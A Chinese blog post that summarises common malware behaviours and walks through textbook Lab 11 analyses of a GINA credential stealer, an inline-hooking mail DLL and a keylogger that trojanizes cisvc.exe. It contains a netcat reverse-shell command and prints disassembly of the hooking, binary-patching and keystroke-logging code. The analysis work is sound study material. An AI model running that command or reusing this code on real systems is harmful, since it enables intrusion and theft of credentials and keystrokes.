恶意代码行为

关注

原创最新推荐文章于 2026-08-03 12:19:17 发布 3.6k 阅读 AI 写同款· GEO 优化 ›

恶意代码防范技术原理-恶意代码概述 恶意代码是一种违背目标系统安全策略的程序代码，会造成目标系统信息泄露、资源滥用，破坏系统的完整性及可用性。它能够经过存储介质或网络进行传播，从一台计算机系统传到另外一台计算机系统，未经授权认证访问或破坏计算机系统包括计算机病毒( Computer Virus)、蠕虫(Worms)、特洛伊木马(Trojan Horse)、逻辑炸弹( Logic Bombs)、细菌(Bacteria)、恶意脚本(Malicious Scripts)和恶意ActiveX控件、间谍软件(Spyware)等。阅读详情

知识点

本章中会介绍恶意代码常见的恶意行为，方便我们识别各种各样的恶意程序。

**下载器和启动器：**常见的两种恶意代码是下载器和启动器。下载器从互联网上下载其他的恶意代码，然后在本地系统中运行，通常使用WindowsAPI函数URLDownloadtoFileA和WinExec，来下载并运行新的恶意代码。启动器也成为加载器，是一类可执行文件，用来安装立即运行或者将来运行的恶意代码。

**后门：**后门可以让攻击者远程访问一个受害的机器。通常使用80端口的HTTP协议与控制机器进行通信。

**反向Shell：**反向Shell是从受害者主机发起的向攻击者连接，为攻击者提供被感染机器的访问权限，一般有如下反向弹Shell的方式：

NetCat：网络瑞士军刀，可以通过命令nc listener_ip 80 -e cmd.exe来弹Shell。
Windows反向Shell：使用cmd.exe作为反向Shell，首先创建一个套接字并于远程服务器简历连接。然后绑定这个套接字与cmd.exe的标准流再调用CreateProcess函数用隐藏窗口的方式创建cmd.exe。也可以使用多线程方式：使用CreatPipe来绑定一个通道的读写端，如标准输入标准输出，CreateProcess函数用来绑定一个管道与标准流，而不是直接与套接字绑定。调用CreateProcess方法，恶意代码会产生两个线程，一个用来从标准输入管道读取数据，并向套接字写数据，另外一个用来从一个套接字读数据，并向一个标准管道中写数据。通常这两个线程使用数据编码来混淆数据。

**远程控制工具：**远程控制工具RAT能被用来管理一台或者多台计算机。远程控制工具进场为了特定目标，如窃取信息或者旁路一个网络执行针对性的攻击。

**僵尸网络：**僵尸网络是被感染主机的一个集合。他们由单一实体控制，其目标同行是为了进行DDoS攻击。

**登陆凭证窃密器：**攻击者通常使用以下三种方法进行登陆凭证的窃取：

等待用户登陆以窃取登陆凭证
击键记录器
转储Windows系统中存放的信息，如密码hash值，程序直接使用它或者对它进行离线爆破。

**特殊注册表：**恶意代码编写者可以通过一个名为AppInit_DLL特殊注册表项来让他们的DLL得到加载，此注册表项中的DLL程序回在进程加载User32.dll时被加载，AppInit_DLL位置如下：

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost

恶意代码编写者可以挂钩一个特殊的Winlogon Notify事件，如登陆、注销、关机、锁屏等，这些甚至允许恶意代码再安全模式下加载，以下注册表键中的注册表项包含Notify值：

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\

Windows所有的服务都存在与注册表中，恶意代码经常作为一个服务安装，安装的恶意代码作为svchost.exe的DLL来存活，这使得恶意代码可以与其他进程混淆，更像一个标准的服务。svchost.exe时从动态链接库中运行服务的通用主机进程，Windows操作系统通常用以时刻运行多个svchost.exe实例，每个实例包含一组服务，这些组定义子啊下列的注册表位置：

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost

服务被定义在如下位置：

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\ServiceName

**特洛伊木马化（Trojanized）系统二进制文件：**此技术可以直接修改系统的二进制文件，当被感染的二进制文件运行或加载时，将会强制运行恶意代码，恶意代码通常修改一个系统文件的函数入口点，使它跳转到恶意代码，这些修改补丁覆盖函数的开始代码或者覆盖其他的一些并不影响特洛伊木马化DLL正常操作的代码，为了不影响二进制文件的正常操作，恶意代码经常被加到一个可执行文件的空节中，插入的代码并不关心他被插入到感染的DLL的位置。加载恶意代码后，为了让DLL的操作与插入前的一致，代码会跳转回原始的DLL程序。

**DLL加载顺序劫持：**这是一种简单而隐蔽的指数，它允许恶意代码编写者再不适用注册表项或者特洛伊二进制文件的前提下创建一个存活的、恶意的DLL程序，这种技术甚至不需要单独的恶意加载器。以下是再Windows XP中加载DLL的默认搜索顺序：

加载应用程序的目录
当前目录
系统目录（使用GetSystemDirectory函数获取的路径）
16位子系统的系统目录
Windows目录
PATH环境变量中列出的目录

在WindowsXP中利用KnownDLL注册表键可以跳过DLL的加载过程，这注册表键保护一些特定的DLL位置列表。DLL加载顺序劫持可以被System32之外的目录中的二进制文件利用，来加载未被KnownDLL保护的DLL程序。由于DLL递归导入的原因，很多DLL会在加载其他的DLL，而这些DLL按照默顺序加载，因此KnownDLL机制也不能得到充分的保护。

**提权：**多数提权攻击时利用本地系统已知漏洞或者0Day漏洞进行攻击。DLL加载顺序劫持也可以被用来进行提权操作，加入恶意DLL所在的目录是用户可写的，并且加载这个DLL的进程在一个高特权级上运行，那么DLL就获得了提权。

**使用SeDebugPrivilege进行提权：**在Windows系统中，访问令牌是一个包含进程安全描述符的对象，安全描述符用来指定拥有者的访问权限，SeDebugPrivilege特权作为一个系统级别调试的工具被创建，默认情况下，SeDebugPrivilege只赋给本地系统账户权限。普通的用户账号不能给自身赋予SeDebugPrivilege权限。

**IAT Hook：**这是一种在用户空间中很常见的Rootkit方法，它隐藏本地系统中的文件、进程以及网络连接，这种Hook方法修改导入地址表（IAT）或者导出地址表（EAT）从而改变程序的执行流程，但是这种方法很容易被检测出来。

**Inline Hook：**这种方法使用过覆盖导入DLL中的API函数的代码来实现的，所以它必须等到DLL被加载后才能执行。IAT Hook知识简单的修改函数指针，但是Inline Hook将修改实际的函数代码。恶意Rootkit通常使用一个跳转指令替换函数的开始代码来执行Inline Hook，这个跳转指令使Rootkit插入的恶意代码获取执行，另外Rootkit还可以通过改变函数的代码来破坏它或者改变它，而不是跳转到恶意代码。

课后练习

Lab11-1

分析恶意代码Lab11-01.exe

问题

1.这个恶意代码项磁盘释放了什么？

通过静态分析，在004010C9位置发现如下代码：

.text:004010B8                 mov     eax, lpType
.text:004010BD                 push    eax             ; lpType
.text:004010BE                 mov     ecx, lpName
.text:004010C4                 push    ecx             ; lpName
.text:004010C5                 mov     edx, [ebp+hModule]
.text:004010C8                 push    edx             ; hModule
.text:004010C9                 call    ds:FindResourceA
.text:004010CF                 mov     [ebp+hResInfo], eax
.text:004010D2                 cmp     [ebp+hResInfo], 0
.text:004010D6                 jnz     short loc_4010DF
.text:004010D8                 xor     eax, eax
.text:004010DA                 jmp     loc_4011BF
.text:004010DF ; ---------------------------------------------------------------------------
.text:004010DF
.text:004010DF loc_4010DF:                             ; CODE XREF: sub_401080+56↑j
.text:004010DF                 mov     eax, [ebp+hResInfo]
.text:004010E2                 push    eax             ; hResInfo
.text:004010E3                 mov     ecx, [ebp+hModule]
.text:004010E6                 push    ecx             ; hModule
.text:004010E7                 call    ds:LoadResource
.text:004010ED                 mov     [ebp+hResData], eax
.text:004010F0                 cmp     [ebp+hResData], 0
.text:004010F4                 jnz     short loc_4010FB
.text:004010F6                 jmp     loc_4011A5
.text:004010FB ; ---------------------------------------------------------------------------
.text:004010FB
.text:004010FB loc_4010FB:                             ; CODE XREF: sub_401080+74↑j
.text:004010FB                 mov     edx, [ebp+hResData]
.text:004010FE                 push    edx             ; hResData
.text:004010FF                 call    ds:LockResource

在资源节发现了名为TGAD的节，程序对此节进行了二进制资源的提取。

因此程序在磁盘上释放的文件是从资源节中提取出来的数据存储为msgina32.dll。

2.这个恶意代码如何进行驻留？

根据如下代码：

.text:00401004                 push    0               ; lpdwDisposition
.text:00401006                 lea     eax, [ebp+phkResult]
.text:00401009                 push    eax             ; phkResult
.text:0040100A                 push    0               ; lpSecurityAttributes
.text:0040100C                 push    0F003Fh         ; samDesired
.text:00401011                 push    0               ; dwOptions
.text:00401013                 push    0               ; lpClass
.text:00401015                 push    0               ; Reserved
.text:00401017                 push    offset SubKey   ; "SOFTWARE\\Microsoft\\Windows NT\\Curren"...
.text:0040101C                 push    80000002h       ; hKey
.text:00401021                 call    ds:RegCreateKeyExA
.text:00401027                 test    eax, eax
.text:00401029                 jz      short loc_401032
.text:0040102B                 mov     eax, 1
.text:00401030                 jmp     short loc_40107B
.text:00401032                 mov     ecx, [ebp+cbData]
.text:00401035                 push    ecx             ; cbData
.text:00401036                 mov     edx, [ebp+lpData]
.text:00401039                 push    edx             ; lpData
.text:0040103A                 push    1               ; dwType
.text:0040103C                 push    0               ; Reserved
.text:0040103E                 push    offset ValueName ; "GinaDLL"
.text:00401043                 mov     eax, [ebp+phkResult]
.text:00401046                 push    eax             ; hKey
.text:00401047                 call    ds:RegSetValueExA
.text:0040104D                 test    eax, eax
.text:0040104F                 jz      short loc_401062
.text:00401051                 mov     ecx, [ebp+phkResult]
.text:00401054                 push    ecx             ; hObject
.text:00401055                 call    ds:CloseHandle

得知恶意代码写入注册表项SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon并设置了值GinaDLL。

3.这个恶意代码如何窃取用户登陆凭证？

在msgina32.dll文件的导出函数中发现了大量的以Wlx开头的函数名：

这些函数都会调用函数sub_10001000()，此函数会直接将调用函数的名称用GetProcAddress函数在msgina.dll文件中查找此函数的地址并将执行流程交给目标函数，目标函数执行完成之后又会返回到恶意程序中，msgina32.dll中的大部分Wlx开头的函数都是这个结构，但是在函数WlxLoggedOutSAS中却不一样，在WlxLoggedOutSAS中调用了函数sub_10001570()向文件msutil32.sys存储了用户凭证的数据。

4.这个恶意代码对窃取的证书做了什么处理？

通过查看10001570处代码找到程序将窃取的证书存储在了一个名为msutil32.sys的文件中。

5.如何在你的测试环境让这个恶意代码获得用户登陆凭证？

函数WlxLoggedOutSAS的调用发生在用户注销时，因此我们注销重启后就能看到用户登陆凭证。

Lab11-2

分析恶意代码Lab11-02.dll。假设一个名为Lab11-02.ini的可疑文件与这个恶意代码一同被发现。

问题

1.这个恶意DLL导出了什么？

这个DLL有两个导出函数：

Name	Address	Ordinal
installer	1000158B	1
DllEntryPoint	100017E9	[main entry]

2.使用rundll32.exe安装这个恶意代码之后，发生了什么？

使用命令

rundll32.exe Lab11_02.dll, installer

程序会在SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs写入自身，并且将spoolvxx32.dll写入到系统目录中。

3.为了使这个恶意代码正确安装，Lab11-02.ini必须被放置在何处？

.text:1000166F                 push    0               ; hTemplateFile
.text:10001671                 push    80h             ; dwFlagsAndAttributes
.text:10001676                 push    3               ; dwCreationDisposition
.text:10001678                 push    0               ; lpSecurityAttributes
.text:1000167A                 push    1               ; dwShareMode
.text:1000167C                 push    80000000h       ; dwDesiredAccess
.text:10001681                 mov     eax, [ebp+Dest]
.text:10001684                 push    eax             ; lpFileName
.text:10001685                 call    ds:CreateFileA

此处程序会尝试访问系统目录下的Lab11-02.ini文件，如果此文件存在则继续执行，否则退出，因此我们需要将Lab11-02.ini放在系统目录下。

4.这个安装的恶意代码如何驻留？

通过在注册表SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs中添加spoolvxx32.dll。

5.这个恶意代码采用的用户态Rootkit技术是什么？

Inline Hook

6.挂钩代码做了什么？

.text:10001203                 push    ebp
.text:10001204                 mov     ebp, esp
.text:10001206                 sub     esp, 0Ch
.text:10001209                 mov     eax, [ebp+arg_4]
.text:1000120C                 sub     eax, [ebp+lpAddress]
.text:1000120F                 sub     eax, 5
.text:10001212                 mov     [ebp+var_4], eax
.text:10001215                 lea     ecx, [ebp+flOldProtect]
.text:10001218                 push    ecx             ; lpflOldProtect
.text:10001219                 push    40h             ; flNewProtect
.text:1000121B                 push    5               ; dwSize
.text:1000121D                 mov     edx, [ebp+lpAddress]
.text:10001220                 push    edx             ; lpAddress
.text:10001221                 call    ds:VirtualProtect
.text:10001227                 push    0FFh            ; Size
.text:1000122C                 call    malloc
.text:10001231                 add     esp, 4
.text:10001234                 mov     [ebp+var_8], eax
.text:10001237                 mov     eax, [ebp+var_8]
.text:1000123A                 mov     ecx, [ebp+lpAddress]
.text:1000123D                 mov     [eax], ecx
.text:1000123F                 mov     edx, [ebp+var_8]
.text:10001242                 mov     byte ptr [edx+4], 5
.text:10001246                 push    5               ; Size
.text:10001248                 mov     eax, [ebp+lpAddress]
.text:1000124B                 push    eax             ; Src
.text:1000124C                 mov     ecx, [ebp+var_8]
.text:1000124F                 add     ecx, 5
.text:10001252                 push    ecx             ; Dst
.text:10001253                 call    memcpy
.text:10001258                 add     esp, 0Ch
.text:1000125B                 mov     edx, [ebp+var_8]
.text:1000125E                 mov     byte ptr [edx+0Ah], 0E9h
.text:10001262                 mov     eax, [ebp+lpAddress]
.text:10001265                 sub     eax, [ebp+var_8]
.text:10001268                 sub     eax, 0Ah
.text:1000126B                 mov     ecx, [ebp+var_8]
.text:1000126E                 mov     [ecx+0Bh], eax
.text:10001271                 mov     edx, [ebp+lpAddress]
.text:10001274                 mov     byte ptr [edx], 0E9h
.text:10001277                 mov     eax, [ebp+lpAddress]
.text:1000127A                 mov     ecx, [ebp+var_4]
.text:1000127D                 mov     [eax+1], ecx
.text:10001280                 lea     edx, [ebp+flOldProtect]
.text:10001283                 push    edx             ; lpflOldProtect
.text:10001284                 mov     eax, [ebp+flOldProtect]
.text:10001287                 push    eax             ; flNewProtect
.text:10001288                 push    5               ; dwSize
.text:1000128A                 mov     ecx, [ebp+lpAddress]
.text:1000128D                 push    ecx             ; lpAddress
.text:1000128E                 call    ds:VirtualProtect
.text:10001294                 mov     edx, [ebp+var_8]
.text:10001297                 add     edx, 5
.text:1000129A                 mov     eax, [ebp+arg_8]
.text:1000129D                 mov     [eax], edx
.text:1000129F                 mov     esp, ebp
.text:100012A1                 pop     ebp
.text:100012A2                 retn

7.哪个文件或者哪些进程执行这个恶意攻击。为什么？

程序会对比当前进程名是否与THEBAT.EXE、OUTLOOK.EXE、MSIMN.EXE其中的任意一个相同，如果相同则运行恶意代码，否则退出。

if ( !memcmp(Buf1, aThebatExe_0, v2)      // THEBAT.EXE
        || (v3 = strlen(aOutlookExe), !memcmp(Buf1, aOutlookExe_0, v3))// OUTLOOK.EXE
        || (v4 = strlen(aMsimnExe), !memcmp(Buf1, aMsimnExe_0, v4)) )// MSIMN.EXE
      {
        Proc_thread_sub_100013BD();
        sub_100012A3(ModuleName, aSend, sub_1000113D, &dword_10003484);
        sub_10001499();
      }

8..ini文件的意义是什么？

代码读取.ini文件中的数据，通过函数sub_100010B3进行解密得出一个邮箱地址billy@malwareanalysisbook.com。

9.你怎样使用WireShark动态抓取这个恶意代码的行为？

打开WireShark并用outlook发送邮件。

Lab11-3

分析恶意代码Lab11-03.exe和Lab11-03.dll。确保这两个文件在分析时位于同一个目录中。

问题

1.使用基础的静态分析过程，你可以发现什么有趣的线索？

在Lab11-03.exe中发现了一些有意思的字符串：

Address	Length	Type	String
.rdata:004080E8	00000008	C	cmd.exe
.rdata:004080F0	0000000C	C	command.com
.rdata:00408100	00000008	C	COMSPEC
.rdata:00408118	00000005	C	PATH
.rdata:00408128	00000005	C	.exe
.rdata:00408130	00000005	C	.bat
.rdata:00408138	00000005	C	.cmd
.data:00409139	00000024	C	C:\\WINDOWS\\System32\\inet_epar32.dll
.data:0040915D	0000000C	C	zzz69806582
.data:00409174	00000010	C	net start cisvc
.data:00409184	00000017	C	C:\\WINDOWS\\System32\\%s
.data:0040919C	0000000A	C	cisvc.exe
.data:004091A8	0000000D	C	Lab11-03.dll
.data:004091B8	00000024	C	C:\\WINDOWS\\System32\\inet_epar32.dll

Lab11-03.dll中的字符串：

.rdata:1000754C	00000008	C	H:mm:ss
.rdata:10007554	00000014	C	dddd, MMMM dd, yyyy
.rdata:10007568	00000007	C	M/d/yy
.rdata:10007578	00000009	C	December
.rdata:10007584	00000009	C	November
.rdata:10007590	00000008	C	October
.rdata:10007598	0000000A	C	September
.rdata:100075A4	00000007	C	August
.rdata:100075AC	00000005	C	July
.rdata:100075B4	00000005	C	June
.rdata:100075BC	00000006	C	April
.rdata:100075C4	00000006	C	March
.rdata:100075CC	00000009	C	February
.rdata:100075D8	00000008	C	January
.rdata:10007610	00000009	C	Saturday
.rdata:1000761C	00000007	C	Friday
.rdata:10007624	00000009	C	Thursday
.rdata:10007630	0000000A	C	Wednesday
.rdata:1000763C	00000008	C	Tuesday
.rdata:10007644	00000007	C	Monday
.rdata:1000764C	00000007	C	Sunday
.rdata:10007670	00000016	C	SunMonTueWedThuFriSat
.rdata:10007688	00000025	C	JanFebMarAprMayJunJulAugSepOctNovDec
.rdata:1000785C	0000000D	C	KERNEL32.dll
.rdata:100078A6	0000000B	C	USER32.dll
.rdata:10007C82	0000000F	C	Lab1103dll.dll
.rdata:10007C91	0000000C	C	zzz69806582
.data:10008030	00000006	C	0x%x 
.data:10008038	00000009	C	<SHIFT> 
.data:10008044	00000008	C	%s: %s\n
.data:1000804C	00000022	C	C:\\WINDOWS\\System32\\kernel64x.dll

程序导入了GetAsyncKeyState函数，因此可能是一个键盘窃听器。

2.当运行这个恶意代码时，发生了什么？

运行ProcessMonitor并运行这个恶意代码可以找出如下行为：

程序将自身复制到C:\\WINDOWS\\System32\\inet_epar32.dll
对文件C:\\WINDOWS\\System32\\kernel64x.dll进行写操作
对文件C:\\WINDOWS\\System32\\cisvc.exe进行写操作

3.Lab11-03.exe如何安装Lab11-03.dll使其长期驻留？

将Lab11-03.exe加载到IDA中可以看到：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  CHAR FileName; // [esp+0h] [ebp-104h]

  CopyFileA(ExistingFileName, NewFileName, 0);
  sprintf(&FileName, aCWindowsSystem_0, aCisvcExe);
  sub_401070(&FileName);
  system(aNetStartCisvc);
  return 0;
}

程序先将Lab11-03.dll拷贝到C:\WINDOWS\System32\inet_epar32.dll，然后又打开了cisvc.exe的句柄，将此句柄作为函数 sub_401070的参数门之后又使用net start cisvc命令启动了cisvc服务，结合之前的分析我们可以猜测恶意代码对cisvc进行了修改，因此把分析的重点放到函数sub_401070上。

从IDA为 sub_401070生成的伪c代码来看：

int __cdecl sub_401070(LPCSTR lpFileName)
{
  int result; // eax
  HANDLE hFile; // [esp+Ch] [ebp-2Ch]
  int v3; // [esp+10h] [ebp-28h]
  int v4; // [esp+14h] [ebp-24h]
  unsigned int i; // [esp+18h] [ebp-20h]
  _DWORD *v6; // [esp+24h] [ebp-14h]
  DWORD dwMaximumSizeLow; // [esp+28h] [ebp-10h]
  HANDLE hFileMappingObject; // [esp+2Ch] [ebp-Ch]
  _DWORD *lpBaseAddress; // [esp+34h] [ebp-4h]

  hFile = CreateFileA(lpFileName, 0xC0000000, 1u, 0, 4u, 0x80u, 0);
  if ( hFile == -1 )
    return -1;
  dwMaximumSizeLow = GetFileSize(hFile, 0);
  hFileMappingObject = CreateFileMappingA(hFile, 0, 4u, 0, dwMaximumSizeLow, 0);
  if ( hFileMappingObject == -1 )
  {
    CloseHandle(hFile);
    result = -1;
  }
  else
  {
    lpBaseAddress = MapViewOfFile(hFileMappingObject, 6u, 0, 0, dwMaximumSizeLow);
    if ( lpBaseAddress )
    {
      v4 = lpBaseAddress + lpBaseAddress[15];
      v6 = sub_401000((v4 + *(v4 + 20) + 24), *(v4 + 6));
      if ( v6 )
      {
        if ( *(v4 + 40) )
        {
          if ( v6[4] > 0x13Au )
          {
            if ( (v6[4] - v6[2]) >= 0x13A )
            {
              v3 = v6[2] + v6[5];
              for ( i = 0; i < 0x13A; ++i )
              {
                if ( *(&dword_409030 + i) == 0x78
                  && *(&dword_409030 + i + 1) == 0x56
                  && *(&dword_409030 + i + 2) == 0x34
                  && *(&dword_409030 + i + 3) == 0x12 )
                {
                  *(&dword_409030 + i) = v6[5] + *(v4 + 40) - *(v4 + 44) - (v3 + i + 4);
                  break;
                }
              }
              qmemcpy(lpBaseAddress + v3, &dword_409030, 0x13Au);
              *(v4 + 40) = *(v4 + 44) + v3 - v6[5];
              CloseHandle(hFile);
              CloseHandle(hFileMappingObject);
              UnmapViewOfFile(lpBaseAddress);
              result = 0;
            }
            else
            {
              result = -1;
            }
          }
          else
          {
            result = -1;
          }
        }
        else
        {
          result = -1;
        }
      }
      else
      {
        CloseHandle(hFile);
        CloseHandle(hFileMappingObject);
        UnmapViewOfFile(lpBaseAddress);
        result = -1;
      }
    }
    else
    {
      CloseHandle(hFile);
      CloseHandle(hFileMappingObject);
      UnmapViewOfFile(0);
      result = -1;
    }
  }
  return result;
}

函数将文件cisvc.exe映射到内存之后对此文件进行了一些列的修改行为，但是由于代码又很多混淆，不容易进行静态分析，因此需要进行动态分析，载入OD中函数sub_401070下断点并进行单步调试，发现Lab11-03.exe会先查找cisvc.exe的PE头再查找到.text，然后在此位置有一个较为复杂的循环写值的操作：

.text:004011FF                 cmp     [ebp+var_20], 13Ah
.text:00401206                 jnb     short loc_40127C
.text:00401208                 mov     edx, [ebp+var_20]
.text:0040120B                 xor     eax, eax
.text:0040120D                 mov     al, byte ptr dword_409030[edx] ; shellcode
.text:00401213                 cmp     eax, 78h
.text:00401216                 jnz     short loc_401277
.text:00401218                 mov     ecx, [ebp+var_20]
.text:0040121B                 xor     edx, edx
.text:0040121D                 mov     dl, byte ptr (dword_409030+1)[ecx]
.text:00401223                 cmp     edx, 56h
.text:00401226                 jnz     short loc_401277
.text:00401228                 mov     eax, [ebp+var_20]
.text:0040122B                 xor     ecx, ecx
.text:0040122D                 mov     cl, byte ptr (dword_409030+2)[eax]
.text:00401233                 cmp     ecx, 34h
.text:00401236                 jnz     short loc_401277
.text:00401238                 mov     edx, [ebp+var_20]
.text:0040123B                 xor     eax, eax
.text:0040123D                 mov     al, byte ptr (dword_409030+3)[edx]
.text:00401243                 cmp     eax, 12h
.text:00401246                 jnz     short loc_401277
.text:00401248                 mov     ecx, [ebp+var_24]
.text:0040124B                 mov     edx, [ecx+28h]
.text:0040124E                 mov     eax, [ebp+var_14]
.text:00401251                 add     edx, [eax+14h]
.text:00401254                 mov     ecx, [ebp+var_24]
.text:00401257                 sub     edx, [ecx+2Ch]
.text:0040125A                 mov     eax, [ebp+var_20]
.text:0040125D                 mov     ecx, [ebp+var_28]
.text:00401260                 lea     eax, [ecx+eax+4]
.text:00401264                 sub     edx, eax
.text:00401266                 mov     [ebp+var_30], edx
.text:00401269                 mov     ecx, [ebp+var_20]
.text:0040126C                 mov     edx, [ebp+var_30]
.text:0040126F                 mov     dword_409030[ecx], edx
.text:00401275                 jmp     short loc_40127C

修改前：

修改后：

使用HexCmp工具查看这两个二进制文件的区别（淡红色区域）：

经过一步一步对比发现这些新的shellcode是位于004011FF的代码进行的，恶意代码对此文件的入口点进行了修改，由原来的129B修改为了1A28:

在OD中打开修改后的文件cisvc.exe看到如下shellcode：

01001B0A   .  FF55 FC       call dword ptr ss:[ebp-0x4]              ;  kernel32.LoadLibraryExA
01001B0D   .  8945 F0       mov dword ptr ss:[ebp-0x10],eax          ;  inet_epa.10000000
01001B10   .  8D83 24000000 lea eax,dword ptr ds:[ebx+0x24]
01001B16   .  50            push eax                                 ;  inet_epa.10000000
01001B17   .  8B45 F0       mov eax,dword ptr ss:[ebp-0x10]          ;  inet_epa.10000000
01001B1A   .  50            push eax                                 ;  inet_epa.10000000
01001B1B   .  FF55 F4       call dword ptr ss:[ebp-0xC]              ;  kernel32.GetProcAddress
01001B1E   .  8945 F8       mov dword ptr ss:[ebp-0x8],eax           ;  inet_epa.10000000
01001B21   .  FF55 F8       call dword ptr ss:[ebp-0x8]
01001B24   .  89EC          mov esp,ebp
01001B26   .  5D            pop ebp
01001B27   .^ E9 6FF7FFFF   jmp cisvc.0100129B

cisvc.exe现时使用LoadLibrary函数将C:\WINDOWS\System32\inet_epar32.dll加载到内存中然后获取导出函数zzz69806582的地址并执行此函数，之后在跳转到正常的程序入口点，从而使恶意代码达到长期驻留的目的。

4.这个恶意代码感染Windows系统的哪个文件？

cisvc.exe

5.Lab11-03.dll做了什么？

名为的导出函数zzz69806582创建了一个线程，我们集中分析这个函数：

BOOL zzz69806582()
{
  return CreateThread(0, 0, (LPTHREAD_START_ROUTINE)StartAddress, 0, 0, 0) == 0;
}

函数会创建一个MZ的互斥量:

push    offset Name     ; "MZ"
push    0               ; bInheritHandle
push    1F0001h         ; dwDesiredAccess
call    ds:OpenMutexA

将C:\\WINDOWS\\System32\\kernel64x.dll加载到内存中：

push    0
push    80h             ; dwFlagsAndAttributes
push    4               ; dwCreationDisposition
push    0               ; lpSecurityAttributes
push    1               ; dwShareMode
push    0C0000000h      ; dwDesiredAccess
push    offset FileName ; "C:\\WINDOWS\\System32\\kernel64x.dll"
call    ds:CreateFileA

将文件指针指向C:\\WINDOWS\\System32\\kernel64x.dll的末尾：

push    2
push    0               ; lpDistanceToMoveHigh
push    0               ; lDistanceToMove
mov     eax, [ebp+hFile]
push    eax             ; hFile
call    ds:SetFilePointer

循环调用函数sub_10001380进行键盘敲击记录：

signed int __cdecl sub_10001380(int a1)
{
  DWORD NumberOfBytesWritten; // [esp+4h] [ebp-404h]
  char Buffer; // [esp+8h] [ebp-400h]

  while ( !sub_10001030(a1) )
  {
    if ( *(_DWORD *)a1 )
    {
      sprintf(&Buffer, aSS, a1 + 4, a1 + 1032);
      WriteFile(*(HANDLE *)(a1 + 2060), &Buffer, strlen(&Buffer), &NumberOfBytesWritten, 0);
    }
    Sleep(0xAu);
  }
  return 1;
}